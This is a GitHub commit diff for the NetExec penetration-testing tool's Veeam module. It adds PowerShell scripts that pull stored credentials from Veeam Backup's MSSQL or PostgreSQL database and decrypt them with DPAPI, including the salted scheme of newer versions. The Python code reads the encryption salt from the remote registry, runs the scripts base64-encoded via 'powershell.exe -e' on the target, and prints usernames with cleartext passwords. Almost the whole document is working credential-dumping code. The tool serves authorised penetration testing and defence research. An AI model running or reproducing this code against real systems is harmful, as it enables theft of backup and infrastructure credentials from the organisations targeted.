Skip to content

Commit 9161b29

Browse files
authored
Merge pull request Pennyw0rth#570 from Pennyw0rth/neff-fix-veeam-output
2 parents 674fe5e + 342a130 commit 9161b29

3 files changed

Lines changed: 106 additions & 28 deletions

File tree

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

Lines changed: 37 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
22
$SqlServerName = "REPLACE_ME_SqlServer"
33
$SqlInstanceName = "REPLACE_ME_SqlInstance"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

56
#Forming the connection string
6-
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
7+
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
78
$auth = "Integrated Security=SSPI;" #Local user
89
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
910
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
2223
exit -1
2324
}
2425

25-
$rows=($dataset.Tables | Select-Object -Expand Rows)
26-
if ($rows.count -eq 0) {
26+
$output=($dataset.Tables | Select-Object -Expand Rows)
27+
if ($output.count -eq 0) {
2728
Write-Host "No passwords found!"
2829
exit
2930
}
3031

3132
Add-Type -assembly System.Security
32-
#Decrypting passwords using DPAPI
33-
$rows | ForEach-Object -Process {
34-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
33+
# Decrypting passwords using DPAPI
34+
$output | ForEach-Object -Process {
35+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
37-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
37+
38+
try {
39+
# Decrypt password with DPAPI (old Veeam versions)
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
41+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
42+
} catch {
43+
try{
44+
# Decrypt password with salted DPAPI (new Veeam versions)
45+
$salt = [System.Convert]::FromBase64String($b64Salt)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
47+
foreach ($byte in $EncryptedPWD)
48+
{
49+
$hex.AppendFormat("{0:x2}", $byte) > $null
50+
}
51+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
53+
for ($i = 0; $i -lt $hex.Length; $i += 2)
54+
{
55+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
56+
}
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
58+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
59+
}catch {
60+
$pw_string = "COULD_NOT_DECRYPT"
61+
}
62+
}
63+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
64+
$_.password = $pw_string
65+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
3866
}
3967

40-
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
68+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Lines changed: 34 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,50 @@
11
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
22
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
33
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
4+
$b64Salt = "REPLACE_ME_b64Salt"
45

5-
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
6+
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
67
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
78

89
if ($output.count -eq 0) {
910
Write-Host "No passwords found!"
1011
exit
1112
}
1213

14+
# Decrypting passwords using DPAPI
1315
Add-Type -assembly System.Security
14-
#Decrypting passwords using DPAPI
1516
$output | ForEach-Object -Process {
16-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17-
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
17+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
19-
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
19+
20+
try {
21+
# Decrypt password with DPAPI (old Veeam versions)
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
23+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
24+
} catch {
25+
try{
26+
# Decrypt password with salted DPAPI (new Veeam versions)
27+
$salt = [System.Convert]::FromBase64String($b64Salt)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
29+
foreach ($byte in $EncryptedPWD)
30+
{
31+
$hex.AppendFormat("{0:x2}", $byte) > $null
32+
}
33+
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
35+
for ($i = 0; $i -lt $hex.Length; $i += 2)
36+
{
37+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
38+
}
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
40+
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
41+
}catch {
42+
$pw_string = "COULD_NOT_DECRYPT"
43+
}
44+
}
45+
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
46+
$_.password = $pw_string
47+
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
2048
}
2149

22-
Write-Output $output | Format-Table -HideTableHeaders | Out-String
50+
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/modules/veeam.py

Lines changed: 35 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection):
4040
PostgresUserForWindowsAuth = ""
4141
SqlDatabaseName = ""
4242

43+
# Salt for newer Veeam versions
44+
salt = ""
45+
4346
try:
4447
remoteOps = RemoteOperations(connection.conn, False)
4548
remoteOps.enableRegistry()
@@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection):
7275
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
7376
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
7477
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
78+
79+
salt = self.get_salt(context, remoteOps, regHandle)
7580
except DCERPCException as e:
7681
if str(e).find("ERROR_FILE_NOT_FOUND"):
7782
context.log.debug("No Veeam v12 installation found")
@@ -107,36 +112,46 @@ def checkVeeamInstalled(self, context, connection):
107112
# Check if we found an SQL Server of some kind
108113
if SqlDatabase and SqlInstance and SqlServer:
109114
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
110-
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
115+
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
111116
self.printCreds(context, credentials)
112117
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
113118
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
114-
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
119+
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
115120
self.printCreds(context, credentials)
116121

117-
def stripXmlOutput(self, context, output):
118-
return output.split("CLIXML")[1].split("<Objs Version")[0]
122+
def get_salt(self, context, remoteOps, regHandle):
123+
try:
124+
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
125+
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
126+
except DCERPCException as e:
127+
if str(e).find("ERROR_FILE_NOT_FOUND"):
128+
context.log.debug("No Salt found")
129+
except Exception as e:
130+
context.log.fail(f"UNEXPECTED ERROR: {e}")
131+
context.log.debug(traceback.format_exc())
119132

120-
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
133+
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
121134
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
122135
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
123136
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
137+
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
124138
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
125139

126140
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
127141

128-
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
142+
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
129143
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
130144
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
131145
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
146+
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
132147
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
133148

134149
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
135150

136151
def printCreds(self, context, output):
137152
# Format output if returned in some XML Format
138153
if "CLIXML" in output:
139-
output = self.stripXmlOutput(context, output)
154+
output = output.split("CLIXML")[1].split("<Objs Version")[0]
140155

141156
if "Access denied" in output:
142157
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
@@ -152,13 +167,20 @@ def printCreds(self, context, output):
152167
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
153168
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
154169
try:
170+
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
171+
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
155172
for account in output_stripped:
156-
user, password = account.split(" ", 1)
157-
password = password.strip().replace("WHITESPACE_ERROR", " ")
158-
user = user.strip()
159-
context.log.highlight(f"{user}:{password}")
160-
if " " in password:
161-
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
173+
# Remove multiple whitespaces
174+
account = " ".join(account.split())
175+
try:
176+
user, password, description = account.split(" ", 2)
177+
except ValueError:
178+
user, password = account.split(" ", 1)
179+
description = ""
180+
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
181+
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
182+
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
183+
context.log.highlight(f"{user:<40} {password:<40} {description}")
162184
except ValueError:
163185
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
164186
context.log.fail("Please report this issue on GitHub!")

0 commit comments

Comments
 (0)